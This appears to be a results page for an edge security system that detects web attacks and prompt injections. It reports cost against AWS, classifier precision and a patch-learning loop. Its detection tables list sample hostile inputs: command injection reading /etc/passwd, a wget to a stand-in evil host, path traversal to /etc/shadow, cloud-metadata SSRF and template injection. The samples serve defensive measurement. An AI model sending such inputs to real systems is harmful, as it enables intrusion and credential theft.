

Measured Results

All figures measured live on one HP ZGX Nano (NVIDIA GB10) on Sep 25, 2026, from the running system and the files in `results/`. Data is public benchmark or synthetic data.

0% → 78%
never-seen attack type caught after one learned patch

38–59×
cheaper per request on the Nano than AWS Bedrock (electricity)

99.85%
precision of the Nano check model on 10,632 test requests

13 / 13
live requests routed correctly; Jev caught 5 the Nano missed

1 Nano vs AWS: same model, same prompts

Latest run: 23 paired requests (decoy replies and patch writing). Qwen3-Next-80B on both sides; every Nano call was also sent, unchanged, to AWS Bedrock.

METRIC	HP ZGX NANO	AWS BEDROCK (US-WEST-2)
Requests measured	23	23 (0 failed)
Latency p50	3,317 ms	3,102 ms
Latency p95	6,262 ms	5,085 ms
Tokens per request (in → out)	782 → 136	782 → 127
Cost per request	\$0.0000070	\$0.00027 on-demand • \$0.00022 enterprise*
Total cost for the run	\$0.00016	\$0.0062
Energy per request	98.5 J at 27.4 W avg GPU draw	not visible
Result	~38× cheaper per request	~7% faster at p50

* Enterprise = on-demand minus an assumed 20% negotiated discount; AWS publishes no provisioned price for this model. Nano cost = measured GPU energy × \$0.2575/kWh (California commercial rate, EIA, April 2026).

COST AT SCALE	VALUE
Break-even vs AWS on-demand	~14,700 attacks/day
Break-even vs AWS enterprise pricing	~18,500 attacks/day
One Nano's capacity (measured writer throughput)	~107,000 requests/day

Independent check: AWS CloudWatch's own invocation and token counts matched our logged numbers call for call.

Why an earlier run differs. An earlier run of 18 requests, mostly long patch-writing prompts (about 2,800 input tokens), measured the Nano **59× cheaper**, AWS **2.2× faster**, and break-even at **~5,800 attacks/day**. Shorter prompts make each AWS call cheaper, so the Nano needs more traffic to pay off. Across both runs: **38–59× cheaper per request**, break-even **~6k–15k attacks/day**.

2 Detection

Nano check model: TF-IDF + logistic regression, trained on the Nano in 3.2 s on 22,098 rows; tested on 10,632 held-back requests.

TEST SET	REQUESTS	PRECISION	RECALL	FALSE-POSITIVE RATE
All test data	10,632	99.85%	98.96%	0.09%
HttpParams (web attacks)	10,258	99.97%	99.5%	0.02%
jackhhao (jailbreaks)	258	96.4%	97.8%	4.1%
deepset (prompt injection)	116	100%	66.7%	0%
Path traversal (held out of training on purpose)	n/a	n/a	0%	n/a

F1 score on all test data: 0.994.

Jev (TypeSafe, via Vercel AI Gateway), asked first on every request. Live run of 13 real requests through the gateway:

ATTACK	JEV	NANO CHECK MODEL	OUTCOME
shoes; cat /etc/passwd	0.94	0.41	caught by Jev only
laptop wget http://evil...	0.93	0.29	caught by Jev only
../../../../etc/passwd	0.88	0.16	caught by Jev only
..%252f..%252fetc%252fshadow	0.91	0.02	caught by Jev only
http://169.254.169.254/... (SSRF)	0.77	0.13	caught by Jev only
All 13 requests (9 attacks, 4 normal)	13 / 13 routed correctly		Jev latency 260–650 ms

3 Learning loop

MEASURE	RESULT
Never-seen attack type (path traversal), first wave	0% caught
After one learned patch, on 280 unseen attacks	78% caught
False positives on 6,434 normal requests	0
Whole live run, attack to patched	191 s
Typical time from attack to approved patch	~40 s – 3 min

4 LLM serving on the Nano

Both models served at the same time by HP ZRT (vLLM), 50 requests per row (`results/llm_baseline.csv`).

MODEL	CONCURRENT REQUESTS	P50 LATENCY	P95 LATENCY	REQUESTS/S	TOKENS/S
Qwen3-Next-80B (writer, NVFP4)	1	708 ms	712 ms	1.5	36
	4	856 ms	996 ms	4.6	109
	8	1,161 ms	1,326 ms	6.9	169
Gemma 4 12B (verifier)	1	3,451 ms	3,965 ms	0.3	7.5
	4	2,946 ms	3,369 ms	1.3	34
	8	3,013 ms	3,450 ms	2.3	62
MEMORY (121.6 GB USABLE UNIFIED MEMORY)					GB
Qwen3-Next-80B writer					54.3
Gemma 4 12B verifier					34.3
Total in use with both models serving					101.5
Peak during LoRA fine-tuning					20.4

5 Fine-tuned patch writer

Qwen2.5-7B + LoRA (r=16), trained on the Nano from 230 test-verified rules written by the 80B, evaluated on attack types it never saw.

MEASURE ON UNSEEN ATTACK TYPES (80 TASKS)	BASE 7B	FINE-TUNED 7B	80B TEACHER
Rules that pass every test	3.75%	10.0%	13.75%
Attack recall	34.8%	46.5%	50.2%
False positives	3.4%	0.0%	0.01%
Valid rule output	90%	65%	85%

Published at huggingface.co/Yukta3030/chameleon-edge-patchwriter. The 80B remains the live patch writer.

6 Known limits

- Some attacks pass both checks, e.g. `shoes && id` (Jev 0.27, Nano 0.45) and `{{7*7}}` (Jev 0.29).
- Jev sent one real customer message ("Please ignore my last message...", 0.69) to the decoy.
- Cost comparisons use electricity only; hardware cost appears in the break-even figures.
- One day, one Nano, public and synthetic data; not an enterprise-scale measurement.